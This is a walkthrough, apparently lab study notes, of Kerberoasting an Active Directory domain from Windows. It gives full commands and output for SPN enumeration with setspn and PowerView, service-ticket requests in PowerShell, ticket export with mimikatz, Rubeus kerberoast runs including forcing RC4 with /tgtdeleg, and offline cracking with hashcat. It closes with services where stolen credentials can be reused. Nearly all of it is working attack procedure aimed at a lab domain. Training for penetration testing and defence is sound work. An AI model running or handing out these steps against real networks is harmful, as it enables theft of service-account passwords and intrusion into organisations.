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Kerberoasting from Windows

Sep 11, 20247 min read

Before tools like Rubeus was out, Kerberoasting was very complicated.

Now we can perform Kerberoasting from Windows in many ways.

Let’s learn about both manual way and automated tooling way.

Manual Way

setspn.exe

setspn is a buit-in binary to enumerate SPNs in the domain.

C:\htb> setspn.exe -Q */*
 
Checking domain DC=INLANEFREIGHT,DC=LOCAL
CN=ACADEMY-EA-DC01,OU=Domain Controllers,DC=INLANEFREIGHT,DC=LOCAL
        exchangeAB/ACADEMY-EA-DC01
        exchangeAB/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
        TERMSRV/ACADEMY-EA-DC01
        TERMSRV/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
        ldap/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/ForestDnsZones.INLANEFREIGHT.LOCAL
        ldap/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DomainDnsZones.INLANEFREIGHT.LOCAL
 
<SNIP>
 
CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
        backupjob/veam001.inlanefreight.local
CN=SOLARWINDSMONITOR,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
        sts/inlanefreight.local
 
<SNIP>
 
CN=sqlprod,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
        MSSQLSvc/SPSJDB.inlanefreight.local:1433
CN=sqlqa,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
        MSSQLSvc/SQL-CL01-01inlanefreight.local:49351
CN=sqldev,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
        MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
CN=adfs,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
        adfsconnect/azure01.inlanefreight.local
 
Existing SPN found!

We can see that SPNs being returned from hosts in the domain.

We will focus on user accounts and ignore the computer accounts.

Obtain TGS from specific user

Now that we have list of SPNs, we can use PowerShell to request TGS tickets for an account and load them into memory.

Once they are loaded, we can extract them using mimikatz.

Let’s request TGS for MSSQLSvc user:

PS C:\htb> Add-Type -AssemblyName System.IdentityModel
PS C:\htb> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
 
Id                   : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-2
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 2/24/2022 11:36:22 PM
ValidTo              : 2/25/2022 8:55:25 AM
ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

Obtain TGS from all users

We can also decide to retrieve all tickets using the same method as above.

This is also get ticket for computer accounts too, so it is not optimal.

PS C:\htb> setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
 
Id                   : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-3
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 2/24/2022 11:56:18 PM
ValidTo              : 2/25/2022 8:55:25 AM
ServicePrincipalName : exchangeAB/ACADEMY-EA-DC01
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
 
Id                   : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-4
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 2/24/2022 11:56:18 PM
ValidTo              : 2/24/2022 11:58:18 PM
ServicePrincipalName : kadmin/changepw
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
 
Id                   : uuid-67a2100c-150f-477c-a28a-19f6cfed4e90-5
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 2/24/2022 11:56:18 PM
ValidTo              : 2/25/2022 8:55:25 AM
ServicePrincipalName : WSMAN/ACADEMY-EA-MS01
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
 
<SNIP>

Extract Tickets w Mimikatz

Now that the tickets has been loaded to the memory, let’s extract them using Mimikatz.

Using 'mimikatz.log' for logfile : OK
 
mimikatz # base64 /out:true
isBase64InterceptInput  is false
isBase64InterceptOutput is true
 
mimikatz # kerberos::list /export  
 
<SNIP>
 
[00000002] - 0x00000017 - rc4_hmac_nt      
   Start/End/MaxRenew: 2/24/2022 3:36:22 PM ; 2/25/2022 12:55:25 AM ; 3/3/2022 2:55:25 PM
   Server Name       : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 @ INLANEFREIGHT.LOCAL
   Client Name       : htb-student @ INLANEFREIGHT.LOCAL
   Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ; 
====================
Base64 of file : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi
====================
doIGPzCCBjug<SNIP>QzMw==
====================
 
   * Saved to file     : 2-40a10000-htb-student@MSSQLSvc~DEV-PRE-SQL.inlanefreight.local~1433-INLANEFREIGHT.LOCAL.kirbi
 
<SNIP>

We used base64 /out:true so it is easier for us to transfer the output.

If not specified, tickets will be extracted in a format of .kirbi file.

Crack it

If we have the base64 encoded ticket, let’s format it to remove empty lines:

jadu101@htb[/htb]$ echo "<base64 blob>" |  tr -d \\n

Now copy the formatted output and save it to a separate file and convert it back to .kirbi file:

jadu101@htb[/htb]$ cat encoded_file | base64 -d > sqldev.kirbi

Now let’s use kirbi2john.py to extract the kerberos ticket:

jadu101@htb[/htb]$ python2.7 kirbi2john.py sqldev.kirbi

Above will create crack_file.

Let’s format it once again to use it with hashcat:

jadu101@htb[/htb]$ sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat

Finally, let’s crack the ticket using hashcat:

jadu101@htb[/htb]$ hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt

Automated Way

Above we learned about older-manual way of kerberoasting on Windows.

Now let’s learn about quicker way to perform Kerberoasting from Windows.

PowerView

SPN Get

Let’s first get the SPNs using PowerView:

PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Get-DomainUser * -spn | select samaccountname
 
samaccountname
--------------
adfs
backupagent
krbtgt
sqldev
sqlprod
sqlqa
solarwindsmonitor

Target Specific User

Now that we have list of SPNs, let’s use PowerView to target a specific user and retrieve the TGS ticket in hashcat format:

PS C:\htb> Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
 
SamAccountName       : sqldev
DistinguishedName    : CN=sqldev,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ServicePrincipalName : MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433
TicketByteHexStream  :
Hash                 : $krb5tgs$23$*sqldev$INLANEFREIGHT.LOCAL$MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433*$BF9729001
                       376B63C5CAC933493C58CE7$4029DBBA2566AB4748EDB609CA47A6E7F6E0C10AF50B02D10A6F92349DDE3336018DE177
                       AB4FF3CE724FB0809CDA9E30703EDDE93706891BCF094FE64387B8A32771C7653D5CFB7A70DE0E45FF7ED6014B5F769F

Get All Tickets

We can also decide to export all tickets and save it to a CSV file:

PS C:\htb> Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation

Rubeus

PS C:\htb> .\Rubeus.exe
 
<SNIP>
 
Roasting:
 
    Perform Kerberoasting:
        Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
 
    Perform Kerberoasting, outputting hashes to a file:
        Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]
 
    Perform Kerberoasting, outputting hashes in the file output format, but to the console:
        Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
 
    Perform Kerberoasting with alternate credentials:
        Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]
 
    Perform Kerberoasting with an existing TGT:
        Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
 
    Perform Kerberoasting with an existing TGT using an enterprise principal:
        Rubeus.exe kerberoast </spn:user@domain.com | /spns:user1@domain.com,user2@domain.com> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
 
    Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail:
        Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]
 
    Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts:
        Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]
 
    Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts:
        Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]
 
    List statistics about found Kerberoastable accounts without actually sending ticket requests:
        Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
 
    Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter):
        Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
 
    Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets:
        Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]
 
    Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%:
        Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
 
    Perform AES Kerberoasting:
        Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]

Let’s first use Rubeus to gather some stats.

We can see that there are nine kerberoastable users, seven of which support RC4 Encryption for ticket requests and two of which support AES 128/256.

PS C:\htb> .\Rubeus.exe kerberoast /stats
 
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
 
  v2.0.2
 
 
[*] Action: Kerberoasting
 
[*] Listing statistics about target users, no ticket requests being performed.
[*] Target Domain          : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
 
[*] Total kerberoastable users : 9
 
 
 ------------------------------------------------------------
 | Supported Encryption Type                        | Count |
 ------------------------------------------------------------
 | RC4_HMAC_DEFAULT                                 | 7     |
 | AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 2     |
 ------------------------------------------------------------
 
 ----------------------------------
 | Password Last Set Year | Count |
 ----------------------------------
 | 2022                   | 9     |
 ----------------------------------

Now let’s request tickets for accounts with admincount attribute set as 1.

nowrap will help for easy copy.

PS C:\htb> .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
 
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
 
  v2.0.2
 
 
[*] Action: Kerberoasting
 
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
 
[*] Target Domain          : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))(admincount=1))'
 
[*] Total kerberoastable users : 3
 
 
[*] SamAccountName         : backupagent
[*] DistinguishedName      : CN=BACKUPAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
[*] ServicePrincipalName   : backupjob/veam001.inlanefreight.local
[*] PwdLastSet             : 2/15/2022 2:15:40 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*backupagent$INLANEFREIGHT.LOCAL$backupjob/veam001.inlanefreight.local@INLANEFREIGHT.LOCAL*$750F377DEFA85A67EA0FE51B0B28F83D$049EE7BF77ABC968169E1DD9E31B8249F509080C1AE6C8575B7E5A71995F345CB583FECC68050445FDBB9BAAA83AC7D553EECC57<SNIP>

We can target specific user as such:

PS C:\htb> .\Rubeus.exe kerberoast /user:testspn /nowrap
 
[*] Action: Kerberoasting
 
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
 
[*] Target User            : testspn
[*] Target Domain          : INLANEFREIGHT.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=testspn)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
 
[*] Total kerberoastable users : 1
 
 
[*] SamAccountName         : testspn
[*] DistinguishedName      : CN=testspn,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
[*] ServicePrincipalName   : testspn/kerberoast.inlanefreight.local
[*] PwdLastSet             : 2/27/2022 12:15:43 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*testspn$INLANEFREIGHT.LOCAL$testspn/kerberoast.inlanefreight.local@INLANEFREIGHT.LOCAL*$CEA71B221FC2C00F8886261660536CC1$4A8E252D305475EB9410FF3E1E99517F90E27FB588173ACE3651DEACCDEC62165DE6EA1E6337F3640632FA42419A535B501ED1D4D1A0B704AA2C56880D74C294017<SNIP>

Hashcat

To crack RC4:

jadu101@htb[/htb]$ hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt

To crack AES256:

jadu101@htb[/htb]$ hashcat -m 19700 aes_to_crack /usr/share/wordlists/rockyou.txt

Encryption Types

Kerberoasting tools typically requests RC4 encryption when TGS-REQ request because it is easier to crack compared to AES128 and AES-256.

$krb5tgs$23$*- RC4

$krb5tgs$18$* - AES-256

Specify RC4

If we only want to request tickets for RC4 (type 23), we can use /tgtdeleg flag:

.\Rubeus.exe kerberoast /tgtdeleg /user:testspn /nowrap

However, starting from Windows server 2019, AES is automatically required for Kerberoasting.

Moving On

Now we have obtained new credentials through Kerberoasting. Where do we use these credentials?

  • RDP, WinRM
  • PsExec
  • FileShare
  • MSSQL

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